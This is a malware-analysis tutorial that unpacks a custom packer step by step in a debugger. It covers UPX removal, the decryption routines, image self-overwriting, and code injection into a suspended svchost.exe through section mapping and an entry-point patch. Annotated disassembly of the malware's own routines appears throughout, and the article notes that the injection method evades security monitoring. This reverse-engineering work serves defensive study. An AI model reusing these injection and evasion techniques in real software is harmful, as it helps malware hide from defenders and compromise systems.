Hacking

Deep Dive into a Custom Malware Packer

Introduction

In this article we will look in depth at a Custom Packer used by a Malware that was recently found in the wild. This packer is interesting for several reasons. It uses several layers of packers including the well-known UPX Packer which is only used to mask the underlying custom packers.

What should you learn next?

From SOC Analyst to Secure Coder to Security Manager — our team of experts has 12 free training plans to help you hit your goals. Get your free copy now.

Get Your Plan

It also uses a clever way of injecting code into a remote process and resuming its execution from there. I have included necessary screenshots with snippets of assembly language code sections along with comments, stack parameters for API calls and views of memory dump. This will help in following the article while the unpacking method is described.

An Overview

Since the unpacking method is described in depth and there are several layers, I am giving a high level overview of the algorithm at first before going in depth.

1. It uses a UPX packer which is used only for the purpose of masking the underlying custom packers. UPX packers as we know can be easily unpacked.
2. The first layer of a custom packer uses a lot of code which has been placed only to increase the size of code we have to go through while reversing. With the help of few example code snippets, this has been explained. It's used to deter reverse engineering.
3. It stores the encrypted subroutine at a particular offset within itself. This subroutine is later decrypted and executed.
4. In the second stage, the decrypted subroutine performs another level of unpacking. There is an encrypted malicious executable embedded inside the main image which is decrypted in two phases.
5. After the decryption of the malicious executable, it proceeds to modify the header of the main image. It copies the various sections of the malicious executable like PE Header, .text, .rsrc, .reloc to the start of main image.
6. It then calls the AddressOfEntry point of the malicious executable. This code will spawn a new process, svchost.exe in a suspended state.
7. It then proceeds to inject the malicious code in svchost.exe process and resume its execution.

Unpack the UPX

This executable uses a clever way of packing. It uses a well-known packer called UPX which is detected by most automated sandboxes and packer identifiers like PEiD and ProtectorID.

So, we start by unpacking the UPX packer. As already known, UPX packers can be unpacked using the ESP + hardware breakpoint trick. So, let us unpack it using this method.

This is how the Original Entry Point of a UPX packed binary looks:

We step over the PUSHAD instruction which will save the contents of all the registers on the stack.

Once we step over PUSHAD, we will follow ESP in memory dump and set a Hardware Breakpoint at the WORD present at that memory location. The reason this is done is: once the unpacking completes, POPAD instruction will be executed that will restore the contents of registers.

As a result, this memory location will be accessed and modified. So, we set the hardware breakpoint as shown in the screenshot below:

Once we run the executable after setting the hardware breakpoint, we break at the following memory location:

Next, we set a breakpoint at 0x004170B4 to skip over the loop.

Once we step over this, we reach the Original Entry Point at 0x00402690.

In most cases, this is the unpacked executable and now you can start stepping through the code to understand the malware. So, let's continue with that.

Identification of Unnecessary Code Sections

This is how our Original Entry Point at 0x00402690 looks like after unpacking UPX:

This looks good, so let's continue.

After tracing the code further from OEP, we reach a CALL to the subroutine at address, 0x00401020.

In most cases, you would reach the code corresponding to malware after this. So, let's see:

This subroutine contains a lot of code which has been placed to deter reverse engineering. For instance, if you check the section of code below:

[plain]

MOV DWORD PTR SS:[EBP-58],F47117C3

CMPDWORD PTR SS:[EBP-58],F8EC0A77

JNZSHORT Shipment.0040108F ; this jump will always be taken

[/plain]

It moves a constant DWORD into a memory location, [EBP-58] and then compares it with another constant DWORD, followed by a check for whether they are unequal. Since they will always be unequal, the Jump will be taken.

Similar lines of code were observed in multiple places in the subroutine which were added only to increase the size of code that we have to go through while reversing.

Similarly, another section of code:

[plain]

MOV DWORD PTR SS:[EBP-54],F498C7E5

MOV EDX,DWORD PTR SS:[EBP-54]

IMUL EDX,DWORD PTR SS:[EBP-54]

ADD EDX,DWORD PTR SS:[EBP-54]

MOV DWORD PTR SS:[EBP-54],EDX

[/plain]

It moves a constant DWORD into [EBP-54], and then moves it to EDX, multiplies with itself, and then adds it to the result and stores back in the memory address.

However, this value is not relevant to us for reversing.

Decryption of Custom Unpacking Subroutine

Proceeding in this way and skipping over sections of code that use code similar to above, we reach a CALL to VirtualAlloc with the stack parameters as shown below:

It allocates a new memory with a size of 0x1830 bytes.

It is important to note that, VirtualAlloc is a good way of locating the Original Entry Point of an executable. The reason being, while unpacking it's common to see a CALL to VirtualAlloc which allocates a new memory region. Encrypted data is copied to this memory location and then decrypted.

If the data at this memory location is executed later on, then it means we have unpacked it or reached the original entry point (it's possible that there is more code obfuscation later).

In our case, the call to VirtualAlloc() allocates a new memory region at base address, 0x00C50000

Tracing the code further we reach a CALL to subroutine at 0x004016F0 as shown below:

Tracing this subroutine further, we locate our first decryption routine:

The encrypted data is stored at memory address, 0x405028as shown below:

Here is a high level overview of the decryption subroutine:

1. It reads one DWORD at a time from the encrypted data.
2. It modifies the DWORD by passing it to a subroutine at 0x00401A80
3. The DWORD modified above is passed to a second subroutine at 0x004014E0
4. The final modified DWORD is written to the newly allocated memory region at 0x00C50000
5. There is a counter which is used to keep track of the number of DWORDs read from the Encrypted Data section. A total of 0x12A DWORDs are read, modified and written to the newly allocated memory region.

Below is the code explanation with comments:

[plain]

MOV EDX,DWORD PTR SS:[EBP-C]; counter

MOV EAX,DWORD PTR DS:[EDX*4+405028]; read a DWORD from the encrypted data stored at 0x0405028

MOV DWORD PTR SS:[EBP-54],EAX

MOV ECX,DWORD PTR SS:[EBP-54]

PUSH ECX; pass the DWORD to the subroutine

CALL Shipment.00401A80 ; First DWORD modification routine

ADD ESP,4

MOV DWORD PTR SS:[EBP-54],EAX; modified DWORD is stored in [EBP-54]

MOV DWORD PTR SS:[EBP-58],0AB6C

LEA EDX,DWORD PTR SS:[EBP-58]

MOV DWORD PTR SS:[EBP-5C],EDX

MOV EAX,DWORD PTR SS:[EBP-58]

OR EAX,9E2F; OR 0AB6C with 9E2F

MOV ECX,DWORD PTR SS:[EBP-5C]

MOV EDX,DWORD PTR DS:[ECX]

AND EDX,DWORD PTR SS:[EBP-58]

IMUL EAX,EDX

ADD EAX,DWORD PTR SS:[EBP-58]

MOV DWORD PTR SS:[EBP-58],EAX

MOV EAX,DWORD PTR SS:[EBP-54]

PUSH EAX; pass the modified DWORD to the subroutine

CALL Shipment.004014E0

ADDESP,4

MOV ECX,DWORD PTR SS:[EBP-C]

MOV EDX,DWORD PTR SS:[EBP+8]

XOR EAX,DWORD PTR DS:[EDX+ECX*4]

MOV ECX,DWORD PTR SS:[EBP-C]

MOV EDX,DWORD PTR SS:[EBP+8]

MOV DWORD PTR DS:[EDX+ECX*4],EAX

MOV EAX,DWORD PTR SS:[EBP-C]; get the previous value of counter

ADD EAX,1; increment the counter

MOV DWORD PTR SS:[EBP-C],EAX

MOV ECX,DWORD PTR SS:[EBP-C]

CMP ECX,DWORD PTR SS:[EBP-1C]; check if counter <= 0x12A (total size of the data to be decrypted)

JB SHORT Shipment.004017F2

MOV DWORD PTR SS:[EBP-8],F4617F55

MOV EDX,DWORD PTR SS:[EBP-8]

IMUL EDX,DWORD PTR SS:[EBP-8]

MOV DWORD PTR SS:[EBP-20],EDX

MOV ESP,EBP

POP EBP

RETN

[/plain]

Here is the first DWORD modification routine:

Here is an explanation of the code with comments:

[plain]

PUSH EBP

MOV EBP,ESP

SUB ESP,14

ROL DWORD PTR SS:[EBP+8],6; the encrypted DWORD is rotated left by 6 positions

MOV DWORD PTR SS:[EBP-8],96

MOV DWORD PTR SS:[EBP-4],FFCE4D33

MOV EAX,DWORD PTR SS:[EBP-8]

CMP EAX,DWORD PTR SS:[EBP-4]

JNZ SHORT Shipment.00401AAC ; this jump will always take place

.....

MOV EAX,DWORD PTR SS:[EBP+8]; the encrypted DWORD is moved back in EAX

MOV ESP,EBP

POP EBP

RETN

[/plain]

The result of the first DWORD modification routine is passed to the second subroutine at: 0x004014E0

Here is the second DWORD modification routine:

Here is the code with comments:

[plain]

PUSH EBP

MOV EBP,ESP

SUB ESP,38

MOV DWORD PTR SS:[EBP-8],6375; this is the XOR key used to modify the DWORD

MOV DWORD PTR SS:[EBP-10],FBCA85D0

MOV EAX,DWORD PTR SS:[EBP-10]

AND EAX,7D; 0xFBCA85D0 AND 0x7D

MOV ECX,DWORD PTR SS:[EBP-10]

AND ECX,0D4; 0xFBCA85D0 AND 0x0D4

SUB EAX,ECX

IMUL EAX,DWORD PTR SS:[EBP-10]

MOV DWORD PTR SS:[EBP-10],EAX

MOV DWORD PTR SS:[EBP-18],6D

MOV EDX,DWORD PTR SS:[EBP-10]

IMUL EDX,DWORD PTR SS:[EBP-18]

ADD EDX,DWORD PTR SS:[EBP-18]

MOV DWORD PTR SS:[EBP-18],EDX

MOV EAX,DWORD PTR SS:[EBP+8]; value of the first modified DWORD

XOR EAX,DWORDPTR SS:[EBP-8]; XOR the first modified DWORD with 0x6375

MOV DWORD PTR SS:[EBP+8],EAX; store it back in memory

MOV DWORD PTR SS:[EBP-4],5

[/plain]

After returning from the second subroutine, it will write this modified DWORD in the newly allocated memory region:

Here is an explanation of the code with comments:

[plain]

ADD ESP,4

MOV ECX,DWORD PTR SS:[EBP-C]

MOV EDX,DWORD PTR SS:[EBP+8]

XOR EAX,DWORDPTRDS:[EDX+ECX*4]

MOV ECX,DWORD PTR SS:[EBP-C]

MOV EDX,DWORD PTR SS:[EBP+8]

MOV DWORDPTRDS:[EDX+ECX*4],EAX

MOV EAX,DWORD PTR SS:[EBP-C]; get the previous value of counter

ADD EAX,1; increment the counter

MOV DWORD PTR SS:[EBP-C],EAX

MOV ECX,DWORD PTR SS:[EBP-C]

CMP ECX,DWORD PTR SS:[EBP-1C]; check if counter <= 0x12A (total size of the data to be decrypted)

JB SHORT Shipment.004017F2

MOV DWORD PTR SS:[EBP-8],F4617F55

MOV EDX,DWORD PTR SS:[EBP-8]

IMUL EDX,DWORD PTR SS:[EBP-8]

MOV DWORD PTR SS:[EBP-20],EDX

MOV ESP,EBP

POP EBP

RETN

[/plain]

Once the decryption has completed, we have the decrypted data present at 0x00C50000 as shown below:

Now, it calls the decrypted subroutine at 0x00C50000 as shown below:

Unpacking the Custom Packer - Stage 1

Once we step into this subroutine we are the first decrypted subroutine as shown below:

Here is an explanation of the code:

[plain]

NOP

NOP

NOP

NOP

NOP

PUSH EBP

MOV EBP, ESP

SUB ESP,18

PUSH EBX

PUSH ESI

PUSH EDI

CALL00C50013

POP EBX

SUB EBX,13; EBX points to the start of decrypted subroutine, 00C50000

CALL 00C501FA; Get kernel32.dll base address and API addresses

OR EAX,EAX

JE 00C50143

CALL DWORDPTRDS:[EBX+491]; kernel32.GetProcessHeap

MOV DWORD PTR SS:[EBP-4],EAX

PUSH DWORD PTR SS:[EBP+10]; 0x5244

PUSH8

PUSH DWORD PTR SS:[EBP-4]; base address of the heap

CALL DWORDPTRDS:[EBX+495]; Allocate the heap

OR AX,EAX

JE 00C50143

MOV DWORD PTR SS:[EBP-18],EAX

[/plain]

We will step into the first subroutine at 0x00C501FA which is used to get the address of different APIs:

Here is explanation of the code with comments:

[plain]

PUSH EBP

MOV EBP, ESP

SUB ESP,4

CALL00C502BF; Get base address of kernel32.dll

MOV DWORD PTR SS:[EBP-4],EAX

PUSH EAX; Base address of kernel32.dll

CALL00C5030E; Get address of GetProcAddress

MOV DWORDPTRDS:[EBX+48D],EAX; Store this address in memory

LEA EAX,DWORDPTRDS:[EBX+426]; Pointer to LoadLibrary

PUSH EAX

PUSH DWORD PTR SS:[EBP-4]

CALL DWORDPTRDS:[EBX+48D]; Get Address of LoadLibrary

MOV DWORDPTRDS:[EBX+489],EAX

LEA EAX,DWORDPTRDS:[EBX+442]; Pointer to HeapAlloc in the image

PUSH EAX

PUSH DWORD PTR SS:[EBP-4]

CALL DWORDPTRDS:[EBX+48D]; GetAddress of HeapAlloc

....

MOV DWORDPTRDS:[EBX+491],EAX

MOV EAX,1

JMP SHORT00C502BD

XOR EAX,EAX

LEAVE

RETN

[/plain]

It uses the subroutine at 0x00C502BF to get the base address of kernel32.dll by parsing the PEB structure. This is a common method used by shellcodes and various malwares to dynamically find the base address of kernel32.dll:

The next subroutine at address, 00C5030Eis used to get the address of GetProcAddress API which will later be used to get the address of different APIs.

It proceeds to find the address of different APIs using GetProcAddress as shown below:

All these function pointers are stored in memory, as shown below:

Now that it has retrieved the pointers to some APIs, it starts with another decryption routine.

The code of malicious executable is located at memory address, 0x004054D0

First, let's take a look at this encrypted data:

If you look at this encrypted data, you will observe a pattern. After every DWORD, we have the WORDs 0x0050 or 0x0051 corresponding to ASCII values P. or Q. respectively.

Now, let's check the decryption routine. It is mentioned below with comments:

[plain]

MOV ESI,DWORD PTR SS:[EBP+C]; points to encrypted data (0x004054d0)

MOV EDI,DWORD PTR SS:[EBP-18]; points to the newly allocated heap

MOV ECX,DWORD PTR SS:[EBP+10]; size of the encrypted data

ADD ESI,2; skip the WORDs 0x0050 or 0x0051

LODS DWORDPTRDS:[ESI]; read the encrypted DWORD into EAx

ROL EAX,6; rotate left by 6

XOR EAX,DWORD PTR SS:[EBP+14]; XOR with 0x278C

STOS DWORDPTRES:[EDI]; store the result in destination

SUB ECX,6; decrement counter by 6 (4 for the DWORD and 2 to skip over the WORDs, 0x0050 or 0x0051)

JNZ SHORT00C5004

[/plain]

This subroutine is easy to understand. It reads a DWORD from the encrypted data, rotates it left by 6 bit positions and XORs it with the XOR key 0x278C.

The resulting data is stored at the newly allocated heap at address, 0x0018F520:

As can be seen in the screenshot above, it is the MZ header of the malicious executable. However, it is not completely decrypted.

Unpacking the Custom Packer - Stage 2

Once the first decryption routine has completed, it proceeds to allocate a new heap, which will be used to store the final decrypted malicious executable:

[plain]

PUSH DWORD PTR SS:[EBP+18]; 0x8C00

PUSH 8

PUSH DWORD PTR SS:[EBP-4]

CALL DWORDPTRDS:[EBX+495]; Allocate a new Heap

OR EAX,EAX

JE 00C50143

MOV DWORD PTR SS:[EBP-14],EAX

PUSH DWORD PTR SS:[EBP-14]; pointer to newly allocated heap

PUSH DWORD PTR SS:[EBP-18]; pointer to first stage of decrypted data

CALL 00C5036E; second decryption routine

[/plain]

Let's check the second decryption routine at address, 0x00C5036E:

Here is an explanation of the code with comments:

[plain]

PUSHAD

MOV ESI,DWORD PTR SS:[ESP+24]; source points to first stage of decryption

MOV EDI,DWORD PTR SS:[ESP+28]; points to newly allocated heap

CLD

MOV DL,80

XOR EBX,EBX

MOVS BYTEPTRES:[EDI],BYTEPTRDS:[ESI]; move one byte from source to destination

MOV BL,2

CALL 00C503F1

JNB SHORT00C5037C

XOR ECX,ECX

CALL 00C503F1

JNB SHORT00C503AB

XOR EAX,EAX

CALL00C503F1

JNB SHORT00C503BB

MOV BL,2

INC ECX

MOV AL,10

CALL00C503F1

ADC AL,AL

JNB SHORT00C5039D

JNZ SHORT00C503E7

STOS BYTEPTRES:[EDI]

JMP SHORT00C5037F

CALL00C503FD

SUB ECX,EBX

JNZ SHORT00C503C4

CALL00C503FB

JMP SHORT00C503E3

LODS BYTEPTRDS:[ESI]; move the byte from source into EAX

SHR EAX,1; shift right the value in EAX by one position

JE SHORT00C5040D exit the decryption routine ifthis value inEAX is 0

ADC ECX,ECX

JMP SHORT00C503E0

XCHG EAX,ECX

[/plain]

After this subroutine has completed, we will have the decrypted malicious executable at address, 0x00194780

This decrypted malicious executable is located at the address, 0x00194780

Self-Modification of Main Image Header

It is followed by a call to VirtualProtect to modify the protection of the first 0xC000 bytes at 0x400000 (ImageBaseAddress) to 0x40 which corresponds to PAGE_EXECUTE_READWRITE as shown below:

The stack parameters are:

Now it sets the first 0xC000 bytes at the ImageBaseAddress to null bytes (0x00). This is done because it will be overwritten with the contents of the decrypted malicious executable.

[plain]

XOR AL,AL; AL stores the nullbyte

MOV EDI,DWORD PTR SS:[EBP+8]; EDI points to the ImageBaseAddress, 0x400000

MOV ECX,DWORD PTR SS:[EBP-8]; 0xC000

REP STOS BYTE PTR ES:[EDI]; repeatedly store 0xC000 null bytes at 0x400000

[/plain]

After this, it will copy the sections of the decrypted executable to the ImageBaseAddress one by one (PE header, .text, .rsrc, .reloc and so on):

[plain]

PUSH DWORD PTR SS:[EBP-14]; pointer to new decrypted image

CALL 00C5016F

[/plain]

Using the below Subroutine, it will get the SizeOfHeaders of the decrypted executable.

[plain]

PUSH EBP

MOV EBP, ESP

MOV EAX,DWORD PTR SS:[EBP+8]

MOV EAX,DWORDPTRDS:[EAX+3C]

ADD EAX,DWORD PTR SS:[EBP+8]; pointer to PE header of new decrypted image

MOV EAX,DWORDPTRDS:[EAX+54]; SizeOfHeaders, 0x400

LEAVE

RETN4

[/plain]

It then proceeds to copy the PE header from the decrypted executable to the ImageBaseAddress:

[plain]

PUSH EAX; 0x400

PUSH DWORD PTR SS:[EBP-14]; pointer to decrypted image

PUSH DWORD PTR SS:[EBP+8]; pointer to base address of image of main module

CALL 00C50157

PUSH EBP

MOV EBP, ESP

PUSH ECX

PUSH ESI

PUSH EDI

MOV ECX,DWORD PTR SS:[EBP+10]

MOV EDI,DWORD PTR SS:[EBP+8]

MOV ESI,DWORD PTR SS:[EBP+C]

REP MOVS BYTE PTR ES:[EDI],BYTE PTR DS:[ESI]; copy 0x400 bytes from decrypted executable to Image Base Address

POP EDI

POP ESI

POP ECX

LEAVE

RETN0C

[/plain]

It proceeds in this way to copy the .text, .rsrc and .reloc sections one by one to the Image Base Address:

1. Copy 0x8400 bytes of .text section from the decrypted image to 0x401000
2. Copy 0x200 bytes of .rsrc section from the decrypted image to 0x40A000
3. copy 0x200 bytes of .reloc section from the decrypted image to 0x40B000

Decrypted Malicious Executable

It then calls the AddressOfEntryPoint of the malicious executable:

[plain]

MOV EAX,DWORD PTR SS:[EBP-10]; pointer to PE header

MOV EAX,DWORDPTRDS:[EAX+28]; address of entry point

ADD EAX,DWORD PTR SS:[EBP+8]

CALL EAX; 0x408D60

[/plain]

Let's now trace the code inside the malicious executable:

This section of code will first retrieve the addresses of following APIs:

NtQueryInformationProcess

ZwReadVirtualMemory

ZwMapViewofSection

NtCreateSection

ZwResumeThread

It then proceeds to create a new process called svchost.exe in Suspended State (Process Creation Flag is set to 0x4):

Stack parameters:

Code Injection into New Process

This virus uses an interesting way to inject the malicious code in the newly created process and later resume the execution of it. Unlike most malwares which make use of WriteProcessMemory() to inject the code in the Process Address Space of a remote process, it does not call WriteProcessMemory() at all.

It also helps in bypassing certain security mechanisms where system drivers detect the code injection by monitoring WriteProcessMemory API invocations in user mode.

Once the new process is created, it queries the remote process to retrieve Process Information by calling ZwQueryInformationProcess API as shown below:

The stack parameters are:

The output will be stored at the memory address 0x0012FD9C. It uses this to get the Process Environment Block address of the remote process as shown below:

In this case, PEB of svchost.exe is at the address, 0x7FFDA000

It then proceeds to find the ImageBaseAddress of svchost.exe by reading the value at offset 0x8 in PEB

[plain]

MOV DWORD PTR SS:[EBP-AC],EAX

MOV EDX,DWORD PTR SS:[EBP-14]; pointer to PEB base address of new process

ADD EDX,8; PEB + 8 has the ImageBaseAddress of svchost.exe

MOV DWORD PTR SS:[EBP-DC],EDX

LEA EAX,DWORD PTR SS:[EBP-9C]

PUSH EAX

PUSH 4

LEA ECX,DWORD PTR SS:[EBP-8C]

PUSH ECX

MOV EDX,DWORD PTR SS:[EBP-DC]

PUSH EDX

MOV EAX,DWORD PTR SS:[EBP-A8]

PUSH EAX

CALL DWORD PTR SS:[EBP-B4]; ZwReadVirtualMemory

[/plain]

Stack parameters:

It reads 0x4 bytes from the address 0x7FFDA008 in the process address space of the svchost.exe process and stores it at 0x0012FD28 as shown below:

The ImageBaseAddress of svchost.exe is 0x10000000

It then proceeds to create a new section within itself using ZwCreateSection API:

Stack parameters:

The handle of the new section is stored at the address 0x0012FD94:

After this, it calls ZwMapViewOfSection to map the newly created section (handle, 0x150) in itself.

Stack parameters:

The base address of the mapped view of Section is stored at 0x0012FD30:

The address of the mapped view of section is: 0x00A20000. The size of mapped view is 0x7CA0.

It then proceeds to copy 0x7CA0 bytes from 0x004010B0 to the mapped view at 0x00A20000:

[plain]

MOV EDX,DWORD PTR SS:[EBP-7C]

ADD EDX,1

MOV DWORD PTR SS:[EBP-7C],EDX

MOV EAX,DWORD PTR SS:[EBP-7C]

CMP EAX,DWORD PTR SS:[EBP-2C]; check if counter <= 0x7CA0

JNBSHORT Shipment.00408F88

MOV ECX,Shipment.004010B0

ADD ECX,DWORD PTR SS:[EBP-7C]

MOV EDX,DWORD PTR SS:[EBP-84]

ADD EDX,DWORD PTR SS:[EBP-7C]

MOV AL,BYTEPTRDS:[ECX]; read one byte at a time from 0x004010B0

MOV BYTEPTRDS:[EDX],AL; store it in the view

JMP SHORT Shipment.00408F60

[/plain]

Once this is done, the mapped view contains the code of malicious subroutine:

It uses another call to ZwMapViewofSection to map its section (that has the code of malicious subroutine) into svchost.exe process:

Stack parameters:

Here, 0x150 is the handle of the section object and 0x154 is the handle of svchost.exe process.

The base address of the newly mapped view will be present at 0x0012FD30:

Our malicious subroutine has been mapped at the address 0x000C0000 in svchost.exe process address space.

In this way, even without using a call to WriteProcessMemory it was able to inject the code of malicious subroutine in process address space of svchost.exe.

It then calls VirtualAlloc to allocate memory in its own Process Address Space:

Stack parameters:

The new memory region is allocated at address, 0x00C60000

Modification of Original Entry Point in Remote Process

It proceeds with a call to ZwReadVirtualMemory to read the PE Header of svchost.exe process and store it at the newly allocated memory region, 0x00C60000

Stack parameters:

Once it has the PE Header of svchost.exe at address, 0x00C60000, it parses that to find the size of Image of svchost.exe process:

[plain]

MOV DWORD PTR SS:[EBP-AC],EAX

MOV ECX,DWORD PTR SS:[EBP-80]

MOV EDX,DWORD PTR SS:[EBP-80]

ADD EDX,DWORDPTRDS:[ECX+3C]; EDX points to PE Header of svchost.exe

MOV DWORD PTR SS:[EBP-88],EDX

MOV EAX,DWORD PTR SS:[EBP-88]

MOV ECX,DWORDPTRDS:[EAX+50]; At offset 0x50 in the PE Header we have the SizeOfImage.

MOV DWORD PTR SS:[EBP-30],ECX

MOV EDX,DWORD PTR SS:[EBP-88]

MOV EAX,DWORDPTRDS:[EDX+28]; AddressOfEntry point of svchost.exe

MOV DWORD PTR SS:[EBP-B8],EAX

LEA ECX,DWORD PTR SS:[EBP-9C]

PUSH ECX

MOV EDX,DWORD PTR SS:[EBP-30]

PUSH EDX

MOV EAX,DWORD PTR SS:[EBP-80]

PUSH EAX

MOV ECX,DWORD PTR SS:[EBP-8C]

PUSH ECX

MOV EDX,DWORD PTR SS:[EBP-A8]

PUSH EDX

CALL DWORD PTR SS:[EBP-B4];ntdll.ZwReadVirtualMemory

[/plain]

Stack parameters:

It reads 0x6000 bytes (SizeOfImage of svchost.exe) from the ImageBaseAddress of svchost.exe and stores at 0x00C60000 in its Process Address Space.

The original entry point was located previously and stored in [EBP-88]. The RVA of AddressOfEntryPoint of svchost.exe is 0x2509.

Let's look at the disassembly of the code at Original Entry Point in svchost.exe at present:

It is important to note here. Most malwares in the recent past used GetThreadContext() and SetThreadContext() to modify the Original Entry Point of the Primary Thread which will be executed in the remote process to trigger the malicious code execution. In this case, it does not use calls to GetThreadContext() and SetThreadContext() APIs to modify the Original Entry Point at all.

It then proceeds to modify the code at original entry point using the code below:

Here is the explanation of the code with comments:

[plain]

MOV DWORD PTR SS:[EBP-AC],EAX

MOV ECX,DWORD PTR SS:[EBP-80]

ADD ECX,DWORD PTR SS:[EBP-B8]; Original Entry Point of svchost.exe

MOV BYTE PTR DS:[ECX],90; opcode of NOP

MOV EDX,DWORD PTR SS:[EBP-80]

ADD EDX,DWORD PTR SS:[EBP-B8]

MOV BYTE PTR DS:[EDX+1],68; opcode of PUSH Memory Address

MOV EAX,DWORD PTR SS:[EBP-80]

ADD EAX,DWORD PTR SS:[EBP-B8]

MOV ECX,DWORD PTR SS:[EBP-28]

MOV DWORDPTRDS:[EAX+2],ECX; pointer to code of subroutine which was already mapped into new process

MOV EDX,DWORD PTR SS:[EBP-80]

ADD EDX,DWORD PTR SS:[EBP-B8]

MOV BYTE PTR DS:[EDX+6],0C3; opcode of RET

MOV DWORD PTR SS:[EBP-7C],0

JMP SHORT Shipment.00409131

[/plain]

After modification, the disassembly of the code at the Original Entry Point looks like shown below:

As can be seen, the OEP is modified so that it jumps to the subroutine at address 0x0C0000 and executes it. 0xC0000 is the location at which the malicious subroutine was injected previously in svchost.exe process.

It then makes another call to ZwCreateSection to create a new section within itself with the section handle, 0xEC.

Then it calls ZwMapViewOfSection and maps this newly created section at the address, 0x00A30000.

Once this is done, it will copy the bytes from the previously modified PE header of svchost.exe to this location.

It then calls ZwMapViewOfSection once again to map the bytes at 0x00A30000 to the ImageBaseAddress of svchost.exe process as shown below:

Stack parameters:

Now, the modified PE header has been written to the process address space of svchost.exe

It then calls ZwResumeThread to resume the execution of primary thread in svchost.exe.

This Primary Thread executes from the Original Entry Point of svchost.exe. Since that was modified previously to redirect the execution to malicious injected subroutine, it proceeds to successfully execute the malicious code within the context of svchost.exe

Debugging the Remote Process

Once it calls ZwResumeThread the execution of malicious subroutine is resumed in the context of svchost.exe process. To be able to debug it we need to modify the Original Entry Point before the code is injected in svchost.exe process.

This is how the code can be patched.

Please note that the memory addresses in the steps below may differ from the analysis done before because this was a new debugging session. The algorithm remains the same.

1. It calls VirtualAlloc()to allocate a new memory region at 0x00C90000
2. It calls ZwReadVirtualMemory to read 0x1000 bytes from the svchost.exe process into the newly allocated memory region.
3. It then calls ZwReadVirtualMemory again to read SizeOfImage (0x6000) bytes from svchost.exe process into the newly allocated memory region at 0x00C90000.
4. It then creates a new section within itself by calling ZwCreateSection.
5. It maps the view of the newly created section by calling ZwMapViewOfSection which is mapped at the base address 0x01190000.
6. It then proceeds to modify the Original Entry Point in the newly allocated memory region.
7. After this, it copies 0x6000 bytes from the newly allocated memory region at 0x00C90000 to the mapped view at 0x01190000
8. We need to patch the bytes in the mapped view which will be mapped to the Original Entry Point in remote process. In our case, it will be the bytes at 0x01192509.

   At present we have at address, 0x01192509

   [plain]
   

   01192509 90 NOP
   

   0119250A 68 00000C00 PUSH 0C0000
   

   0119250F C3 RETN
   

   [/plain]

   We will patch with EB FE which is a short relative cyclic jump as shown below:

   

9. It again calls ZwMapViewOfSection to map the section object to the remote process.
10. It then resumes the thread in remote process by calling ZwResumeThread. The original entry point in remote process will be 0x01002509. Since we patched the bytes before, the code execution will pause at the Original Entry Point.

    We will now be able to attach our Debugger to svchost.exe process. Let us now patch the bytes at the Original Entry Point in remote process and restore them:

    

    After patching, we set a breakpoint at the OEP and run, so that we break at the OEP:

    

    Now we can proceed with debugging the malicious subroutine in svchost.exe process.

Conclusion

After reading this article you should be able to unpack malwares which use a similar technique to pack their code and prevent debugging.

Become a Certified Ethical Hacker, guaranteed!

Get training from anywhere to earn your Certified Ethical Hacker (CEH) Certification — backed with an Exam Pass Guarantee.

Learn More

It also allows us to see the new ways in which malware authors are trying to bypass the AV and prevent analysis of malwares.